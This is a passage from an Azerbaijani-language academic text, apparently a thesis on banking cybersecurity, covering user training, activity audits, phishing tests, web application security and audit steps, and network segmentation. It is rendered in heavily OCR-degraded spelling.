tohlikasizlik taloblarini va tocriibslorini basa diismalarini tamin edir.

Tohliikasiz Qurgu Istifadasi: Tolim masaistii kompiterlor, noutbuklar, mobil
qurgular vo ¢ixarila bilon media daxil olmagla cihazlarin tohliikasiz istifadssini ohato
etmalidir. Istifadogilor icazosiz program tominatinin, namalum monbalardan fayllarin
yuklonmosinin -~ vo  tohlikali  sobokoloro  qosulmanin  risklori  barads

moalumatlandirilmalidir.
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Insidentlorin hesabati: Istifadocilor tohliikesizlik insidentlorini dorhal tanimagq
vo bildirmok Uzro tolim ke¢molidirlor. Bura siibholi foaliyyatlorin, potensial
pozuntularin vo ya infrastrukturda miisahido edilon hor hansi anormal davranisin
muioayyan edilmasi vo bildirilmasi daxildir. Hor bir bank omokdasi infrastruktura
tohluko yarada bilocok kibertohlikosizlik hallar1 hagda molumathi olmalidir.
Korporativ olmayan konar unvanlardan gondorilmis siibhali e-pogtlar, molum
olmayan kecidlor, sistemdo yaranmus fargli olagelor informasiya tohlikasizliyi
omokdaslarina bildirilmalidir

Tahllkasiz Uzaqdan Giris: Uzaqdan giris tolob olunarsa, istifadagilor Virtual
Soxsi  Sebokolordon  (VPN, ing. Virtual Private Network), coxfaktorlu
autentifikasiyadan vo tohllikasiz rabito protokollarindan istifado kimi tohllikasiz
uzaqdan giris tocribalori izra tolim kegmolidirlor. Istifadagilor kenardan qosulmalarin
ohomiyyotini anlamali vo bankdan konar orazilordo bank daxili molumat

tohlukasizliyi qaydalarina riayat etmalidirlor [14].

Istifadaci faaliyyatlarinin auditi:

Istifadaci  Foaliyyatinin  Monitoringi: Kritik infrastrukturlar istifadogi
faaliyyatlorini, 0 climlodon login, fayl girisi, sistem konfiqurasiyalari va totbigdan
istifadoni izlomok vo geyd etmok dglin sistemlor totbiq etmoalidir. Bu geydlor hor
hansi siibhali va ya icazasiz faaliyyati miiayyan etmok tctin tahlil edils bilar.

Uygunluq Auditlori: Kritik infrastrukturlar cox vaxt xususi gaydalara v
standartlara uygun olmalidir. Istifadogilorin bu gaydalarla nozorde tutulmus zoruri
tohlukasizlik nozarsti vo prosedurlarma amal etmolarini tomin etmok Ggiin auditlor
aparilmalidir.

Fisinq testlori: Bank sektorunda fising testi toskilatin iscilorinin figing
firlldaglarina garsi hassaslhigini qiymoatlondirmoak tciin nazords tutulmus simulyasiya
edilmis kiberhiicumdur. Bu, bank isgilarinin molumatliliq saviyyasini vo bu clr
tohlikalara reaksiyasimi qiymotlondirmak (cin saxta e-pogt vo ya real fising
cohdlarini toglid edon mesajlarin gondarilmasini nozords tutur. Test tohlikasizlik

protokollari, iscilorin talimi vo Umumi Kibertohliikasizlik hazirhiginda potensial
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zoifliklori mioayyan etmoyoa kdmok edir, banklara real fising hiicumlarina garsi
mudafislorini gliclondirmok gtin mivafiq tadbirlor gormoys imkan verir.

Parol hiicumunun simulyasiyasi: Kobud gic hicumu ilo bank
infrastrukturunda domen hashlori domendoaki istifadagi hesablari ilo oalageli parollari
sindirmaga sistematik cohdlor prosesino aiddir. Bu texnika, verilmis hash iiglin
uygunluq tapilana qodor coxsayli parol kombinasiyalarini yaradan vo simnayan
avtomatlasdirilmis proqram tominati vo ya skriptlordon istifado etmayi nazardos tutur.
Kobud guc hiicumu domen hashlori hesablama baximindan parollar giiclii vo dlzgin
toyin olunubsa intensiv vo vaxt aparan bir prosesdir. Bu metod, kritik infrastruktur
daxilinds olan istifadagilor torafindon bir nega soxso molum olan vo ya diisiiniilmasi
asan olan parollarin agkara ¢ixmasina imkan verir.

Hadisalara Cavab Auditi: Tohlikasizlik insidentlori bas verdikdo, istifadaci
foaliyyatlorinin auditi arasdirma vo mohkoma-tibbi analiz G¢lin mihim shamiyyat
kosb edir. Hadisaya sobab olan hadisalorin ardicilligimi basa diismok va potensial
glzost manbalarini misyyon etmak ti¢ilin jurnallar yoxlanilmalidir.

Hortorofli istifadoagi tolimini tomin etmoklo va istifadogi foaliyyatlorinin miintazom
auditini hayata kecirmoklo kritik infrastrukturlar onlarin tohlikasizlik vaziyyatini
guclandirs, daxili tohdidlarin riskini azalda va tohliikasizlik insidentlorini daha

effektiv agkar edib onlara cavab vera bilor [19].

2.2 Veb tatbiqlarin tahliikasizliyi vo auditi

Veb tothigi tohlikasizliyi veb proqramlart tohliikasizlik zaifliklorindon wva
hiicumlardan qorumaga yonalmisdir. Veb proqramlarina internet tizorindon daxil
olundugundan vo hassas istifado¢i molumatlarini idars etdiyindon, mdOhkom
tohlukasizlik  todbirlorinin - hoyata  kecirilmosi  ¢cox vacibdir. Veb totbiqi

tohlukasizliyinin bazi vacib aspektlori bunlardir [34]:

e Tohlikasiz Dogrulama vo Avtorizasiya: Yalniz solahiyyatli istifadacilorin
programa daxil olmasmi tomin etmok Ucin parol siyasatlori, ¢ox faktorlu

autentifikasiya (MFA) vo CAPTCHA kimi gucli autentifikasiya mexanizmlarini
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totbig edin. Bundan olavs, istifadacgilorin mivafiq resurslara vo funksiyalara
¢ixisin1 mohdudlasdirmaq tigiin miivafiq icazo noazaratlorini totbiq edin.

e Daxiletmonin Tosdiglonmasi vo Sanitizasiyasi: Saytlararast Skript (XSS, ing
Cross Site Scripting) vo SQL inyeksiya hiicumlart kimi timumi zoifliklorin
qarsisini almaq {i¢iin biitlin istifadoci daxiletmolorini yoxlaymn voa tomizlayin.
Istifadoci torofindon tomin edilon molumatlarin diizgiin idaro olunmasini vo
tohllikasizlik zaifliklori yaratmamasini tomin etmok G¢lin tohliikasiz kodlasdirma
tocriibalorindan va daxiletmonin dogrulama kitabxanalarindan istifado edin.

e Sessiyanin Idaro Edilmosi: Giiclii sessiya identifikatorlari, sessiyanin bitmasi
Vo tohliikasiz sessiya saxlanmasi daxil olmagqla, tohliikasiz sessiya idaroetmo
tisullarindan istifado edin. Miivafiq sifroloma va biitovliik yoxlamalarini hoyata
kecirmoklo sessiya molumatlarini saxtalagdirmadan vo ya sessiyanin ogurlanmasi
hiicumlarindan qoruyun.

e Xotan1 Tohllkosiz Idaroetmo: Potensial tocaviizkarlara hossas molumatlar
aciqlamayan miivafiq sohvlorin idaro edilmosi mexanizmlorini totbiq edin.
Administratorlar vo tortibatgilar tiglin otrafli sohv molumatlarimi daxil edarkon
istifadogilora istifadagi dostu sashv mesajlarini gostarin.

e Tohlukasiz Rabita: Veb totbiqi vo  miistorilor arasinda  biitiin
kommunikasiyalarin SSL/TLS protokollarindan istifado edarak sifralondiyina
omin olun. Saboka Uzarindan Otirilon molumatlarin maxfiliyini vo butovIiyin
gorumag t¢un HTTPS (SSL/TLS (izarinda HTTP) tatbiq edin.

e Saytlararast Skriptdon qorunma (XSS): XSS hiicumlari azaltmaq {i¢iin
duizgiin ¢ixis kodlasdirmasi va mazmun tohliikasizliyi siyasatlorindan istifads edin.
Zorarli skriptlorin icrasinin qarsisini almaq {igiin istifadagi torafindon yaradilan
mozmunu tamizlayin va girisi tasdiglayin.

e Saytlararast Sorgu Saxtakarliginin qarsisinin alinmasit (CSRF, ing. Cross-site
Request Forgery): Totbige edilon sorgularin etibarli monbalordon olmasini tamin
etmok Ggiin anti-CSRF tokenlarini vo mexanizmlarini tatbiq edin. Bitun kritik

harakatlor Gictin mivafiq icazs vo autentifikasiyani tasdiq edin va totbiq edin.
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e Tohllkasizlik Yamaqlart vo Yenilomalor: Veb totbigini vo bitin olagali
program komponentlorini an son tohliikasizlik yamalar1 ilo glncal saxlayin.
Molum zaifliklori aradan qaldirmagq {igiin ¢argivalori, kitabxanalari, plaginlori vo
digor asililiglart miintazom olaraq yenilayin.

e Tohllkasizlik Testi: Zoaifliyin skan edilmasi, niifuzetms testi vo kodun nazardan
kecirilmasi daxil olmagla, mintazom tohlikasizlik giymatlondirmalorini hoyata
kecirin. Bu testlor veb proqramdaki tohliikasizlik zaifliklorini mioyyan etmays vo
aradan galdirmaga komok edir. Hortorofli  tohllkosizlik  testi  Ugln
avtomatlasdirilmus alatlor va ol testi istifads edilo bilor [11].

e Fayl yiklomolori: Kodun icrasina va ya servers va ya istifado¢i malumatlarina
icazasiz giriso Sabob ola bilocok zarorli fayllarin yiiklonmasinin garsisini almaq
ucln fayl yuklomolari tG¢tin ciddi yoxlama va fayl novii yoxlanisini hayata kegirin.
e Tohliikasiz Inkisaf Hoyat DOvrii: Toaloblorin toplanmasi, dizayn, kodlasdirma,
siagq, yerlasdirmoa va texniki xidmot daxil olmagla, tohliikasizliyi bitiin program
tominatinin inkisaf dovriino inteqrasiya edin. Tortibatgilar1 tohllikasiz kodlagdirma
tocrubalari Uzra 8yradin va har marhalada tahliikasizlik raylorini aparin.

Veb totbiginin tohlikasizliyi davamli bir prosesdir vo inkisaf edon tohdidlori

qabaqlamaq {i¢iin proaktiv yanasma tolob edir. On son tohlikasizlik tacriibalori ilo

yenilonmak, Sonaye standartlarina riayst etmok vo veb programlarin tohliikasizlik

Vaziyyatini artirmaq {igiin tohlUkasizlik ¢argivalorindan vo alstlorindon istifado etmok
vacibdir [23].

Maliyys omaliyyatlarmin kritik xarakterina Vo hossas miistari molumatlarina

goro bank sanayesindo veb tatbiginin tohlikasizliyi boyik shomiyyat kasb edir.

Banklar 6z veb programlarini tahdidlordan va zaifliklardan gorumagq tglin méhkam

tohllikasizlik todbirlori hoyata kegirmalidirlor. Bank sonayesinds veb program

tohlukasizliyi tglin bazi asas milahizalor bunlardir [34]:

e Tohdidlarin Modellasdirilmasi: Bank sanayesina xas olan potensial tohllkalori
va zaifliklori miayyoan etmok tiglin hartarofli tohdid modellogdirma mosqini hayata
kecirin. Aktivlori, potensial hiicum vektorlarmi anlayin vo mivafiq olaraq

tohlukasizlik nazaratlarini prioritetlogdirin.
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e Tohlilkesiz Dogrulama vo  Avtorizasiya: Istifadagilorin  tohliikesiz
identifikasiyasin1 tomin etmok (Ug¢un coxfaktorlu autentifikasiya (MFA) va
biometrika kimi giiclii autentifikasiya mexanizmlarini totbiq edin. Istifadagi rollar
Vo imtiyazlar1 asasinda hoassas funksiyalara vo dataya girisi mohdudlasdirmagq {igiin
ciddi avtorizasiya nozarati tatbiqg edin.

e Seansin Tohlilkosiz Idaro Edilmosi: Giiclii sessiya identifikatorlari, seans
fasilolori vo tohliikasiz sessiya saxlanmasi daxil olmagla tohliikasiz sessiya
idaroetms tisullarini totbiq edin. Sessiya fiksasiyasi, sessiyanin ogurlanmasi vo
sessiyanin tokrari hiicumlarinin garsisini alin.

e Molumatlarin Sifralonmasi: Hossas molumatlar1 hom istirahatdo, hom do
tranzitdo qorumaq tgiin giiclii sifraloma algoritmlarini totbiq edin. Verilanlor
bazalarinda saxlanilan miistori molumatlarini sifraloyin vo tohllkasiz acar
idaroetma tacrubalorini tomin edin.

o Giris Tasdiglomo vo Cixis Kodlagsdirmasi: Saytlararasi1 Skript (XSS) vo SQL
inyeksiya hiicumlar1 kimi timumi zoifliklorin qarsisini almaq {igiin biitiin istifadogi
daxiletmolorini yoxlayin va tomizloyin. XSS hiicumlari riskini azaltmaq tiglin ¢ix1s
kodlamasini hayata kegirin.

e Tohlikesiz Inkisaf Tocriibolori: Girisin yoxlamlmasi, parametrlosdirilmis
sorgular vo tohlikasiz kodlasdirma kitabxanalar1 kimi tohlikasiz kodlasdirma
tocrubalarine amal edin. Tohlikasizlik zaifliklorini mioyyan etmok vo aradan
galdirmaq t¢iin miintozom kod nazardon Kegirin, statik kod tohlili vo dinamik
program tohlikasizlik testi (DAST, ing. Dynamic Application Security Testing)
hoyata kegirin.

e APl Tohllkasizliyi: Veb totbiqi API-lori ifsa edorss, onlarin miivafiq
autentifikasiya, avtorizasiya va daxilolma dogrulama mexanizmlarindoan istifados
etmoklo qorundugundan omin olun. Icazesiz girisin vo API-dan sui-istifadanin
qarsisin1 almaq tiglin doracasi mohdudlasdiran va API tohlikasizlik sliizlarindon

istifada edin.
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e Tohllkasizlik Yamaqglart vo Yenilomalor: Veb totbiginin  ¢argivaloari,
kitabxanalar1 vo komponentlori Uclin an son tohlikasizlik yamalar1 ilo Xabardar
olun. Mitomadi olaraq tohlikasizlik tovsiyslorini izloyin vo molum zaifliklori
aradan qaldirmagq {i¢iin yamagqlar1 dorhal tatbiq edin.

e Veb Totbiq Firewall (WAF, ing. Web Application Firewall): SQL inyeksiyasi,
XSS va saytlararasi sorgu saxtakarligi (CSRF) daxil olmagla imumi veb proqram
hiicumlarmi askar etmok Vo qarsisin1 almaq tglin WAF yerlosdirin. Bank
programlarinin tzlasdiyi xUsusi risklora asaslanan xususi gaydalar tomin etmok
ucn WAF-1 konfiqurasiya edin.

e Logging va Monitoring: Tohlikasizlik insidentlorini agkar etmok vo onlara
cavab vermok tgiun mohkom giris vo monitoring mexanizmlorini tatbiq edin.
Anomaliyalar tGgtin geydlora, soboks trafikine va istifadagi foaliyystlorino nozarat
edin va insidentloro vaxtinda cavab vermok (gun Tohlikasizlik Hadisalori vo
Hadisolorin Idaro Edilmasi (SIEM, ing. Security Information and Event
Management) sistemi qurun.

e Uclinct Torof Risk Idareetmoa: Veb programinda istifado olunan tglncii torof
komponentlari vo xidmatlori ilo bagh tohlikasizlik risklarini giymatlondirin vo
idaro edin. Saticilar {izorindo lazimi aragdirma aparin vo mugavilolor vo
mugavilalar vasitasila tahliikasizlik taloblarini yerina yetirin.

e Tonzimlomo Standartlarma uygunluq: Odonis Karti Sonayesi Molumat
Tohlikasizliyi Standarti (PCI DSS, ing. Payment Card Industry Data Security
Standard), Umumi Molumatlarin Qorunmasi1 Qaydas: (GDPR, ing. General Data
Protection Regulation) vo hor hansi digar mivafiq regional va ya milli gaydalar
kimi sonaye qaydalarina uygunlugu tomin edin.

Davamli monitoring, dovri tohliikasizlik giymatlondirmalari va nifuz testi
yaranan tohdidlori va zaifliklori muoyyan etmok vo azaltmaq tgiin vacibdir. Mistaqil
giymatlondirmalor aparmaq Ggtin xarici tahlikasizlik mitoxassislarinin calb edilmasi
dayarli fikirlor togdim eds vo bank veb tatbiglorinin imumi tohlikasizlik vaziyyatini

yaxsilasdira bilor.
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Veb tahlUkasizlik auditi metodlar:

Veb tohlikasizlik auditi veb program va ya vebsaytin tohliikasizlik tadbirlarinin,
nozarat vasitolorinin vo zoifliklorinin sistematik giymatlondirilmasidir. Bu, zoif
toroflori, potensial risklari vo tokmillasdirma sahalorini miayyan etmok lgun totbigin
tohllikasizlik  vaziyyatinin  hartorofli  giymotlondirilmosini  ohato edir. Veb
tohllkasizliyi auditinin asas moqgsadi veb tatbiginin va onunla slagali molumatlarin
maxiliyini, butovlliyind ve moévcudlugunu tomin etmokdir [25]. Bank sonayesinds
veb tohlikasizliyinin auditi tohlikasizlik nazarstini giymetlondirmak, zaifliklori
muayyan etmok va tonzimloyici standartlara uygunlugu tomin etmok G¢uin sistematik
yanasma talab edir. Bank isinds veb tohlikssizliyinin yoxlanilmasi ilo bagli addimlar
bunlardir [10]:

e Saho vo Mogsadlari Miayyan edin: Qiymatlondirilocak xtsusi veb programlar,
infrastruktur vo xidmatlor daxil olmagla, veb tohlikasizliyi auditinin ohato
dairosini aydin sokildo muioyyonlosdirin.  Zaifliklorin - mioyyan edilmasi,
uygunlugun qiymotlondirilmasi vo miistori malumatlarinin qorunmasinin tomin
edilmosi kimi auditin magsadlarini misyyanlosdirin.

e Molumat toplaymn: Veb totbiglori, infrastruktur vo tohllkasizlik nozaratlori
haqqinda miivafiq molumat toplayin. Buraya sanadlor, soboka diagramlari, sistem
konfiqurasiyalari, tahllikasizlik siyasatlori va prosedurlart daxildir.

e Tonzimlomo Uygunlugunu Qiymatlondirin: PClI DSS, GDPR vo yerli bank
qaydalar1 kimi miivafiq qaydalara uygunlugunu qiymatlondirin. Tanzimlayici
toloblora cavab vermok (glin mivafiq tohliikasizlik nazarati vo tocriibslorinin
hoyata kecirilmasini tomin edin.

o Zoifliyin  Qiymatlondirilmasini hayata kecirin: Veb tothiglori va asas
infrastrukturun hartarafli zaiflik giymatlondirilmasini aparm. Kéhnalmis program
versiyalari, yanlis konfiqurasiyalar vo tohliikasiz kodlasdirma tocriibalori kimi
umumi zoifliklori misyyan etmok {i¢iin avtomatlasdirilmis skan alatlorindan

istifado edin.
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e Penetrasiya Testi: Veb tothiglorine real diinya hiicumlarini simulyasiya etmoak
uclin idara olunan nifuz testlori kecirin. Tohllkasizlik nazaratinin effektivliyini
giymatlondirmok, potensial risklori miayyan etmok vo ugurlu hiicumlarin tasirini
miayyan etmak ¢lin miosyyan edilmis zaifliklordon istifads etmays cohd edin.

e Dogrulama vo Avtorizasiyan1 qiymoatlondirin: Veb totbiglorindo hoyata
kecirilon autentifikasiya mexanizmlorini vo giris nozaratlorini nozordon kegirin.
Parollarin giiciinii, ¢oxfaktorlu autentifikasiyadan istifadoni va istifadagi rollarinin
va icazalarinin diizgiin tayin edilmasini giymatlondirin.

e Molumatlarin Miihafizasi Tadbirlarini Qiymatlondirin: Hom istirahatds, hom da
tranzitdo hossas miistori molumatlarini qorumagq tigiin istifads olunan metodlart vo
tadbirlori giymatlondirin. Sifraloma tocriibalorini, tahllkasiz 6tlirme protokollarini
(moasalon, SSL/TLS) vo molumatlarin qorunmast qaydalarina uygunlugu
giymatlondirin.

e Tohlukasizlik Siyasatlori vo Prosedurlarini nozardon kegirin: Veb tohllkasizliyi
ilo baglh tohlUkosizlik siyasotlorinin, prosedurlarinin  vo  Sonadlorinin
movcudlugunu vo effektivliyini giymatlondirin. Hadisalora cavab planlarinin,
doyisikliklorin  idaro edilmoasi prosedurlarmin vo iscilorin  tohllkasizlik
molumatlilig tizrs tolimlorin olub olmadigini yoxlaym.

e Uclncu torof risklorini giymotlondirin: Veb proqramlarinda istirak edon tglnci
torof saticilarinin vo  Xidmat tominatcilarinin - tohlikasizlik  tacriibalorini
giymeatlondirin. Uclincil torof inteqrasiyalar1 ilo bagh risklori idaro etmok (giin
lazzimi arasdirma proseslorini, mugavilo razilagsmalarint  va tohllkasizlik
giymatlondirmalarini nozardan kegirin.

e Logging vo Monitoringi nazardan kecirin: Veb tatbiglori Gglin mévcud olan
giris vo monitoring mexanizmlarini giymatlondirin. Jurnallarin effektiv sokildo
yaradilib-yaratilmadigini,  saxlandigimi ~ vo  monitoringini  qiymotlondirin.
Tohlikasizlik  hadisalorinin  tutulmasini,  tohlil  edilmosini  vo  dorhal

cavablandirilmasini tomin edin.
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e Insidentloro Cavab Hazirhgimi Qiymotlondirin: Internet tohlikosizliyi
insidentlorino xas olan bankin insidentlors cavab planini, prosedurlarini va
kommunikasiya protokollarini qiymotlondirin. Veb totbiglorino tosir edon
tohliikasizlik insidentlorini askar etmoya, cavab vermoys vo barpa etmoys hazir
oldugunuzu yoxlayn.

e Tapmtilar1 vo Tovsiyalori Sonadlosdirin: Zaifliklor, risklor vo tokmillogdirilmali

saholor do daxil olmagla, veb tohlikasizliyi auditinin naticalarini sonadlasdirin.

Mioayyan edilmis problemlari hall etmoak, tohlikasizlik nozaratini giiclondirmak va

uygunlugu tokmillagdirmok Ug¢ln tasirli tovsiyalar verin.

e Togib vo Tomir: Tdvsiya olunan tahllkasizlik tokmillogdirmalarinin hoyata

kecirilmasina nozarat edin vo miayyan edilmis zoifliklorin aradan qaldirilmasinda

iraliloyislori izlayin. Dizolis todbirlorinin effektiv sokildo hayata kegirilmasini
tomin etmok Gcuin tagib auditlorini hoyata kegirin.

Auditin effektiv aparilmasit vo internet tohlikasizliyina nozarstin obyektiv
giymatlondirilmasi Uglin bank sektorunda tacriibaya malik tocriibali veb tahlikasizliyi
miitoxassislorinin va ya konar auditorlarin colb edilmasi tévsiys olunur. Inkisaf edan
tohdidlori gabaglamag va bank sektorunda mohkom tohlikasizlik vaziyyatini
gorumag Ucun mitomadi olaraq veb-hiicum auditlorinin aparilmasi ¢ox vacibdir.
Tacrlbali tahliikasizlik mitoxassislarinin va ya veb program tahlikasizliyi sahasindo
tocriibasi olan Gginci torof audit sirkatlarinin calb edilmasi doyoarli anlayiglar tamin

edo va hartarafli va effektiv audit prosesini tamin edos bilar [12].

2.3 Saboka seqmentasiyasi vd bosluqlarin idars edilmosi

Sabaks seqmentasiyasinin mahiyyati

Soboko  seqmentasiyas1  tohllkasizlik, performans vo idaro  etmoni
tokmillogdirmok Ugln kritik informasiya infrastrukturu sobokasinin daha kicik alt
sobakalora vo ya segmentlora béllinmasi praktikasma aiddir. Bu, adston sabokadoki
muxtolif cihaz qruplar1 vo ya istifadacilor arasinda montiqi vo ya fiziki maneslor

yaratmagla olds edilir. Sabakanin segmentlosdirilmoasinin arzuolunan olmasmin bir
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neco sobobi var. Bunlardan biri tohlikassizlik pozuntusunun potensial tasirini
mohdudlasdirmagqla tohlikasizliyi yaxsilasdirmaqdir. Tocaviizkar sobokonin bir
segmentina giris aldo edorss, digor segmentlora daxil ola bilmayacok va bu, zararin
qarsisini  almaga komok edo bilor. Digor sobab soboko performansini
yaxsilasdirmaqdir. Sobokani daha kicik segmentlora bolmakls, soboks trafikini daha
yaxs1 idara etmok vo optimallasdirmaq olar ki, bu da gecikmoni azaltmaga vo Umumi
performansi yaxsilasdirmaga komok edo bilor. Nohayot, soboks seqmentasiyasi
sobokonin idaro edilmasindo do kdmok edo bilor. Sobokoni montiqgi gruplara
bolmokla, xisusilo daha boyiuk vo ya daha mirakkob miuhitlords idara etmok vo
problemlari holl etmok daha asan ola bilor. Soboks seqmentasiyasini hoyata
kecirmayin bir neca yolu var, o climladan virtual LAN (VLAN, ing. Virtual Local
Area Network), alt sobokalor, firewall-lar vo giris nazarati. Xiisusi yanasma toskilatin
chtiyaclarindan va sobokanin xlsusiyyatlorindon asili olacaq [7].

Tohllkasizlik ndqteyi-nazarindon soboka seqmentasiyasi kritik infrastruktur
ehtiva edon toskilatlara kiberhiicumlarin risklorini azaltmaga vo tohlUkasizlik
pozuntularinin potensial tasirini azaltmaga komok edo bilocok miihiim strategiyadir.
Sabokani daha kigik segmentlara bélmoakla, taskilatlar miixtalif tahliikasizlik talablori
Vo nozaroti olan ayr1 zonalar yarada vo sobokodo tohdidlorin yayilmasimi
mohdudlasdira bilor. Moasolon, toskilat 6z sobokasini maliyys, insan resurslari,
todqgigat vo inkisaf kimi miixtalif departamentlor {igiin ayr1 zonalara bdla bilor. Hor
zonanin forqli giris nazarati vo tohllikasizlik siyasatlori ola bilor va tacaviizkarlarin
harakatinin garsisin1 almagq tigiin digar zonalardan toacrid oluna bilar.

Sobokoni segmentlosdirarok, bank daha ¢ox donaver giris nozaratini hoyata
kecira va soboaka trafikina daha effektiv nozarat eds bilor. Bu, icazasiz girisin garsisini
almaga, tohlikasizlik insidentlorini daha tez askar etmays vo onlara cavab vermoyas
vo ugurlu hiicumun potensial tasirini mohdudlasdirmaga kéomok eds bilor. Bundan
alava, soboka seqmentasiyasi bank vo maliyya yonimla Kritik infrastrukturu Ggln
Odonis Kart1 Sonayesi Moalumat Tohliikasizliyi Standart: (PCI DSS) kimi normativ

tolablors va sonaye standartlarina riayat etmaya kOmok eda bilar.
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Bununla bels, geyd etmok lazimdir ki, yalmiz soboko seqmentasiyasi kritik
informasiya infrastrukturunda tohlikasizliyi tomin etmok Ucglin kifayot deyil. Giicli
autentifikasiya, sifrolomo, midaxilonin askarlanmasi vo qarsisinin alinmasi vo
tohlikasizlik monitoringi Kimi digar tohlikasizlik tadbirlori do Kibertshliikalordon
hartorafli midafioni tomin etmok Ugtin hoyata kecirilmalidir [20].

Soboko seqmentasiyasi banklar vo maliyys institutlari ti¢clin onlarin idara
etdiklori molumatlarin hassas xarakteri vo hodoflonmis kiberhiicumlarin yiiksak riski
nozoro alinmaqla vacib tohllikasizlik todbiridir. Sobakonin segmentlogdirilmasinin
banklarda tohllikasizliyin yaxsilasdirilmasina komok edo bilocayi bazi yollar
asagidakilardir [16]:

Molumatlarin izolyasiyasi: Soboko seqmentasiyasi banklara miistori hesabi
molumatlar1 kimi hossas molumatlari sabokanin digar az kritik hissalorindan tocrid
etmaya kOmok edo bilor. Bu, hlicum sothini azalda vo tohlikasizlik pozuntusunun
potensial tasirini mohdudlasdira bilar.

Tonzimloma Uygunlugu: Soboko seqmentasiyasi banklara Odonis Kart:
Sonayesi Molumat Tohlilkasizliyi Standart: (PCI DSS) vo ya Umumi Malumatlarin
Qorunmasi Qaydas1 (GDPR) kimi normativ talablara amol etmays kémak edas bilor.
Hoassas moalumatlari tocrid etmoklo vo giris nozarstini hoyata kecirmoklo banklar
onlarin bu gaydalarin tohliikasizlik va maxfilik talablarina cavab vermasini tamin edo
bilorlar.

Tahltkanin azaldilmasi: Soboko seqmentasiyast banklara soboka trafikino daha
yaxs1 goriinmo tomin etmokls tohliikasizlik tohdidlorini daha effektiv askar etmoaya va
onlara cavab vermoays kOmok eds bilor. Sabakanin segmentlosdirilmasi va har bir
seqmentin ayrica monitoringi ilo banklar tohdidlori daha tez askar edib azalda bilor vo
onlarin tasirini mohdudlasdira bilor.

Falakatin Barpasi: Soboko seqmentasiyasi da banklara folakatin borpasi
imkanlarin1 tokmillogdirmaya kOmok eds bilor. Kritik sistemlori vo molumatlar
sobakanin digar hissalarindon ayirmagla banklar sabakanin kasilmasinin va ya digar

falakatin tosirini minimuma endirs vo daha tez barpa oluna bilar.
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Umumilikds, soboko seqmentasiyasi banklar ii¢iin vacib tohliikesizlik todbiridir,
cunki bu, onlara hossas molumatlari qorumaga, qaydalara oamol etmoays Vo
tohllikasizlik tohdidlorino daha effektiv cavab vermoys kOmok edir. Banklar inkisaf
edon tohdid vo riskloro qars1 effektiv galmasini tomin etmok tigiin soboko
segmentlosdirmo  strategiyasini  miitomadi  olarag nozordon  Kkegirmoli  va

yenilomoalidirlar [5].

Soboka seqmentasiyasi cihaz va sistemloari

Tohllkasiz soboko seqmentasiyasi {igiin istifado edilo bilon bir nega cihaz va
sistem var [17]:

o Firewall-lar: Firewall-lar adoaton sobokonin muxtalif segmentlori arasinda
tohllikasizlik siyasatlorini va giris nazaratlorini totbiq etmok tgtin istifads olunur.
Firewalllar manba, tayinat, port va protokol asasinda trafiki bloklamaq vo ya icazo
vermok Ugin istifads edila bilar.

e Virtual Soxsi Sobokalor (VPN): VPN-lor ictimai vo ya etibarsiz gobokalor
Uzorinda sifralonmis tunellor yaradir, uzaq istifadogiloro vo ya filiallara soxsi
sobokayo tohllikasiz sokildo daxil olmaq imkani verir. Soboko seqmentasiyasi
muxtalif istifadogi qruplart vo ya mogsadlori iiglin ayrica VPN tunellori
yaratmagla VPN infrastrukturu daxilinds totbig oluna bilor. VPN daxilinds
togkilatlar sobokoni bOlmok Gglin mixtalif alt sobokalordon vo ya (nvan
diapazonlarindan istifado edo bilor. Bu, resurslarin montiqi ayrilmasina imkan
verir vo alt sobokalora asaslanan giris nazarati va tohliikasizlik siyasatlorini totbiq
etmaya komok edir. Masalon, mixtalif departamentlorin vo ya komandalarin
xususi resurslara vo ya totbiglora girisi mohdudlasdirmaq tglin 6z VPN alt
sobokalari ola bilar [21].

e Hiicumun Asgkarlanmasi vo Qarsisinin Alinmasi  Sistemlori (IDPS, ing.
Intrusion Detection and Prevention Systems): IDPS-lor soboka trafikina noazarst

etmok va siibhali foaliyyst vo ya anomaliyalar1 agkar etmok 0gin istifads edilo
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bilor. IDPS-lor real vaxt rejiminds hiicumlar1 bloklamaq vo ya azaltmag tgln do
istifads edils bilar.

e Soboko Girisino Nozarat (NAC): NAC sistemlori sobokays qosulmaga cohd
edon istifadogilorin  vo cihazlarin autentifikasiyasim1 hoyata kecirir. Bu
autentifikasiya prosesi yalniz salahiyyatli qurumlarin soboka seqmentlarino daxil
ola bilmosini tomin edir. Istifadogilor istifadoci adlart va parollar kimi etibarl
etimadnamoloari togdim etmoli ola bilor, eyni zamanda cihazlar sertifikatlar vo ya
digor identifikasiya formalari osasinda autentifikasiya tolob edo bilor. NAC
sistemlori adoton miixtalif istifado¢i rollarina vo ya cihaz novlorina xisusi
imtiyazlar vo icazolor toyin etmoak Gcun rol asasli giris nazaratini hayata kegirir.
RBAC administratorlara istifado¢i vo ya cihaz atributlarina osaslanan giris
siyasotlorini  mioyyan etmoys Vo miivafiq olaraq sobokoys  girisi
mohdudlasdirmaga imkan verir. Masalon, mixtalif departamentlor vo ya istifadagi
qruplart 6z rollarina goro segmentlosdirilmis soboko daxilindo muxtolif giris
saviyyalarina malik ola bilor.

e Program tominati ilo mioyyan edilmis sobaka (SDN, ing. Software Defined
Network): SDN sobokanin idaroetmo vo moalumat mustavilorini ayirmaqla daha
cevik vo dinamik soboka seqmentasiyasina imkan verir. Bu, soboka trafiki axinlari
Vo giris nozaratlori Uzarinds daha otrafli vo programlasdirila bilon nazarsto imkan
Verir.

o Konteynerlosdirma  vo  Mikrosegmentasiya:  Konteynerlosdirma  va
mikroseqmentasiya texnologiyalar1 tok bir server vo ya soboka seqmentinds tocrid
olunmus vo tohliikasiz mduhitlor yaratmaq Ggln istifado edilo bilor. Bu,
tohlikasizlik pozuntularinin potensial tasirini mohdudlasdirmaga va hiicum sathini

azaltmaga komok edo bilor.

Sobokonin seqmentasiyasi li¢iin istifado olunan xiisusi qurgular vo sistemlor
kritik informasiya infrastrukturunun, taskilatin ehtiyac va taloblarindoan, hamginin
sobakonin xususiyyatlorindan, potensial tohliika va risklordon asili olaraq doyiso bilar
[16].
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Sabaka seqmentasiyasinin tahltkasizlik auditi

Bank kimi maliyys kritik infrastrukturlarinda soboks seqmentasiyasi
tohllikasizlik auditi tohllikasizlik baximindan toskilatin soboka segmentlosdirmo
strategiyasinin effektivliyinin qiymotlondirilmasi prosesidir. Audit adoton potensial
zoifliklori va zoiflik saholorini miloyyan etmok tgiin soboko arxitekturasinin,
tohllikasizlik siyasotlorinin, giris noazaratlorinin  va tohlikasizlik nozaratlorinin
hortorofli nozordon kegirilmasini ohato edir. Soboko seqmentasiyasi tohlukasizlik
